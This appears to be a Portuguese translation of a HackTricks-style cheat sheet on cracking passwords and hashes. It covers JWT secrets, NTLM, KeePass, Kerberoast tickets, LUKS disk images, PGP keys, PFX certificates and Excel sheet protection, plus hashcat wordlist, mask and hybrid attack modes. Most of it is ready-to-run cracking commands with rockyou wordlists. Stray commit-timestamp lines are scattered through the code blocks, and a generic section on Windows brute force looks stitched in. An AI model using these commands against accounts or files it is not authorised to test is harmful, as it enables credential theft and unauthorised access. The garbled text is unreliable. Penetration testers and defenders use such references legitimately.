git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack
#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John
```
### Quebra de NTLM
```bash
Format:USUARIO:ID:HASH_LM:HASH_NT:::
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john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
```
### Keepass
```bash
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
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keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```
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### Keberoasting
```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```
### Imagem Lucks
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#### Método 1
Instalação: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
```bash
bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
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#### Método 2
```bash
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
2020-12-23 13:35:45 +00:00
hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
Outro tutorial de BF Luks: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
### Mysql
```bash
#John hash format
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
```
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### Chave privada PGP/GPG
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```bash
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gpg2john private_pgp.key #This will generate the hash and save it in a file
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john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
```
2022-09-30 10:43:59 +00:00
### Cisco
<figure><img src="../.gitbook/assets/image (239).png" alt=""><figcaption></figcaption></figure>
### Chave Mestra DPAPI
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Use [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) e depois o john
2022-02-07 10:56:05 +00:00
### Coluna Protegida por Senha no Open Office
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Se você tiver um arquivo xlsx com uma coluna protegida por senha, você pode desprotegê-la:
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* **Faça o upload para o Google Drive** e a senha será removida automaticamente
* Para **removê-la** **manualmente**:
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```bash
unzip file.xlsx
grep -R "sheetProtection" ./*
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# Find something like: <sheetProtection algorithmName="SHA-512"
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
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# Remove that line and rezip the file
zip -r file.xls .
```
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### Certificados PFX
2022-02-07 12:08:46 +00:00
```bash
# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
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# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
2022-02-07 12:08:46 +00:00
```
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, alimentados pelas ferramentas comunitárias **mais avançadas do mundo**.\
Acesse hoje mesmo:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2023-06-06 18:56:34 +00:00
## Ferramentas
**Exemplos de hash:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
### Identificador de Hash
```bash
hash-identifier
> <HASH>
```
### Listas de Palavras
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* **Rockyou**
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* [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
* [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists)
* [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)
2022-08-14 12:59:30 +00:00
### **Ferramentas de Geração de Listas de Palavras**
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* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Gerador avançado de sequências de teclado com caracteres base configuráveis, mapa de teclas e rotas.
2022-08-14 12:59:30 +00:00
```bash
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
```
### Mutação John
2022-08-14 12:59:30 +00:00
Leia _**/etc/john/john.conf**_ e configure-o
```bash
john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
```
2022-05-01 13:25:53 +00:00
### Hashcat
#### Ataques do Hashcat
2022-08-14 12:59:30 +00:00
2023-06-06 18:56:34 +00:00
* **Ataque de lista de palavras** (`-a 0`) com regras
2022-08-14 12:59:30 +00:00
O **Hashcat** já vem com uma **pasta contendo regras** mas você pode encontrar [**outras regras interessantes aqui**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
2022-08-14 12:59:30 +00:00
```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
```
* **Ataque de combinação de listas de palavras**
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É possível **combinar 2 listas de palavras em 1** com o hashcat.\
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Se a lista 1 contiver a palavra **"hello"** e a segunda contiver 2 linhas com as palavras **"world"** e **"earth"**. As palavras `helloworld` e `helloearth` serão geradas.
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```bash
# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
# Same attack as before but adding chars in the newly generated words
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# In the previous example this will generate:
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## hello-world!
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## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
```
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* **Ataque de máscara** (`-a 3`)
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```bash
# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff
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# Mask attack declaring custom charset
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hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
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## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.
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# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
```
* Ataque de Wordlist + Máscara (`-a 6`) / Ataque de Máscara + Wordlist (`-a 7`)
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```bash
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```
#### Modos do Hashcat
```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```
Quebrando Hashes do Linux - arquivo /etc/shadow
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```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
```
# Quebra de Hashes do Windows
## Brute Force
O método mais comum para quebrar hashes do Windows é através de ataques de força bruta. Neste método, um hacker tenta todas as combinações possíveis de caracteres até encontrar a que corresponde ao hash. Existem várias ferramentas disponíveis para realizar esse tipo de ataque, como o **John the Ripper** e o **Hashcat**.
### Passos para realizar um ataque de força bruta:
1. **Captura do Hash**: Primeiramente, é necessário obter o hash do Windows que se deseja quebrar.
2. **Escolha da Ferramenta**: Selecionar a ferramenta de quebra de hash mais apropriada para o tipo de hash e recursos disponíveis.
3. **Configuração da Ferramenta**: Configurar a ferramenta com as opções adequadas, como conjunto de caracteres a serem testados e parâmetros de desempenho.
4. **Execução do Ataque**: Iniciar o ataque de força bruta e aguardar até que a senha correspondente ao hash seja encontrada.
É importante ressaltar que a quebra de hashes do Windows por força bruta pode ser um processo demorado, dependendo da complexidade da senha e dos recursos computacionais disponíveis.
```
3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
```
Quebrando Hashes de Aplicativos Comuns
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```
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
100 | SHA1 | Raw Hash
10800 | SHA-384 | Raw Hash
1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash
```
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<details>
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</details>
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<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
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